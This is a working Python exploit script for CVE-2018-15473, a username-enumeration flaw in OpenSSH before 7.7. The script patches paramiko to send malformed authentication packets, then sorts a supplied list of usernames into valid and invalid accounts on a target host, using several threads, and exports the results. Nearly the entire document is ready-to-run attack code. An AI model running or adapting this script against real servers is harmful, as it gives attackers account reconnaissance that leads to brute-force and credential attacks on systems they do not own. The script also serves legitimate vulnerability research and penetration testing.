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# Exploit: OpenSSH 7.7 - Username Enumeration | ||
# Author: Justin Gardner | ||
# Date: 2018-08-20 | ||
# Software: https://ftp4.usa.openbsd.org/pub/OpenBSD/OpenSSH/openssh-7.7.tar.gz | ||
# Affected Versions: OpenSSH version < 7.7 | ||
# CVE: CVE-2018-15473 | ||
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########################################################################### | ||
# ____ _____ _____ _ _ # | ||
# / __ \ / ____/ ____| | | | # | ||
# | | | |_ __ ___ _ __ | (___| (___ | |__| | # | ||
# | | | | '_ \ / _ \ '_ \ \___ \\___ \| __ | # | ||
# | |__| | |_) | __/ | | |____) |___) | | | | # | ||
# \____/| .__/ \___|_| |_|_____/_____/|_| |_| # | ||
# | | Username Enumeration # | ||
# |_| # | ||
# # | ||
########################################################################### | ||
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#!/usr/bin/env python | ||
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import argparse | ||
import logging | ||
import paramiko | ||
import multiprocessing | ||
import socket | ||
import sys | ||
import json | ||
# store function we will overwrite to malform the packet | ||
old_parse_service_accept = paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_SERVICE_ACCEPT] | ||
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# create custom exception | ||
class BadUsername(Exception): | ||
def __init__(self): | ||
pass | ||
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# create malicious "add_boolean" function to malform packet | ||
def add_boolean(*args, **kwargs): | ||
pass | ||
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# create function to call when username was invalid | ||
def call_error(*args, **kwargs): | ||
raise BadUsername() | ||
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# create the malicious function to overwrite MSG_SERVICE_ACCEPT handler | ||
def malform_packet(*args, **kwargs): | ||
old_add_boolean = paramiko.message.Message.add_boolean | ||
paramiko.message.Message.add_boolean = add_boolean | ||
result = old_parse_service_accept(*args, **kwargs) | ||
#return old add_boolean function so start_client will work again | ||
paramiko.message.Message.add_boolean = old_add_boolean | ||
return result | ||
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# create function to perform authentication with malformed packet and desired username | ||
def checkUsername(username, tried=0): | ||
sock = socket.socket() | ||
sock.connect((args.hostname, args.port)) | ||
# instantiate transport | ||
transport = paramiko.transport.Transport(sock) | ||
try: | ||
transport.start_client() | ||
except paramiko.ssh_exception.SSHException: | ||
# server was likely flooded, retry up to 3 times | ||
transport.close() | ||
if tried < 4: | ||
tried += 1 | ||
return checkUsername(username, tried) | ||
else: | ||
print '[-] Failed to negotiate SSH transport' | ||
try: | ||
transport.auth_publickey(username, paramiko.RSAKey.generate(1024)) | ||
except BadUsername: | ||
return (username, False) | ||
except paramiko.ssh_exception.AuthenticationException: | ||
return (username, True) | ||
#Successful auth(?) | ||
raise Exception("There was an error. Is this the correct version of OpenSSH?") | ||
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def exportJSON(results): | ||
data = {"Valid":[], "Invalid":[]} | ||
for result in results: | ||
if result[1] and result[0] not in data['Valid']: | ||
data['Valid'].append(result[0]) | ||
elif not result[1] and result[0] not in data['Invalid']: | ||
data['Invalid'].append(result[0]) | ||
return json.dumps(data) | ||
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def exportCSV(results): | ||
final = "Username, Valid\n" | ||
for result in results: | ||
final += result[0]+", "+str(result[1])+"\n" | ||
return final | ||
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def exportList(results): | ||
final = "" | ||
for result in results: | ||
if result[1]: | ||
final+=result[0]+" is a valid user!\n" | ||
else: | ||
final+=result[0]+" is not a valid user!\n" | ||
return final | ||
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# assign functions to respective handlers | ||
paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_SERVICE_ACCEPT] = malform_packet | ||
paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_USERAUTH_FAILURE] = call_error | ||
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# get rid of paramiko logging | ||
logging.getLogger('paramiko.transport').addHandler(logging.NullHandler()) | ||
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arg_parser = argparse.ArgumentParser() | ||
arg_parser.add_argument('hostname', type=str, help="The target hostname or ip address") | ||
arg_parser.add_argument('--port', type=int, default=22, help="The target port") | ||
arg_parser.add_argument('--threads', type=int, default=5, help="The number of threads to be used") | ||
arg_parser.add_argument('--outputFile', type=str, help="The output file location") | ||
arg_parser.add_argument('--outputFormat', choices=['list', 'json', 'csv'], default='list', type=str, help="The output file location") | ||
group = arg_parser.add_mutually_exclusive_group(required=True) | ||
group.add_argument('--username', type=str, help="The single username to validate") | ||
group.add_argument('--userList', type=str, help="The list of usernames (one per line) to enumerate through") | ||
args = arg_parser.parse_args() | ||
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sock = socket.socket() | ||
try: | ||
sock.connect((args.hostname, args.port)) | ||
sock.close() | ||
except socket.error: | ||
print '[-] Connecting to host failed. Please check the specified host and port.' | ||
sys.exit(1) | ||
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if args.username: #single username passed in | ||
result = checkUsername(args.username) | ||
if result[1]: | ||
print result[0]+" is a valid user!" | ||
else: | ||
print result[0]+" is not a valid user!" | ||
elif args.userList: #username list passed in | ||
try: | ||
f = open(args.userList) | ||
except IOError: | ||
print "[-] File doesn't exist or is unreadable." | ||
sys.exit(3) | ||
usernames = map(str.strip, f.readlines()) | ||
f.close() | ||
# map usernames to their respective threads | ||
pool = multiprocessing.Pool(args.threads) | ||
results = pool.map(checkUsername, usernames) | ||
try: | ||
outputFile = open(args.outputFile, "w") | ||
except IOError: | ||
print "[-] Cannot write to outputFile." | ||
sys.exit(5) | ||
if args.outputFormat=='list': | ||
outputFile.writelines(exportList(results)) | ||
print "[+] Results successfully written to " + args.outputFile + " in List form." | ||
elif args.outputFormat=='json': | ||
outputFile.writelines(exportJSON(results)) | ||
print "[+] Results successfully written to " + args.outputFile + " in JSON form." | ||
elif args.outputFormat=='csv': | ||
outputFile.writelines(exportCSV(results)) | ||
print "[+] Results successfully written to " + args.outputFile + " in CSV form." | ||
else: | ||
print "".join(results) | ||
outputFile.close() | ||
else: # no usernames passed in | ||
print "[-] No usernames provided to check" | ||
sys.exit(4) | ||
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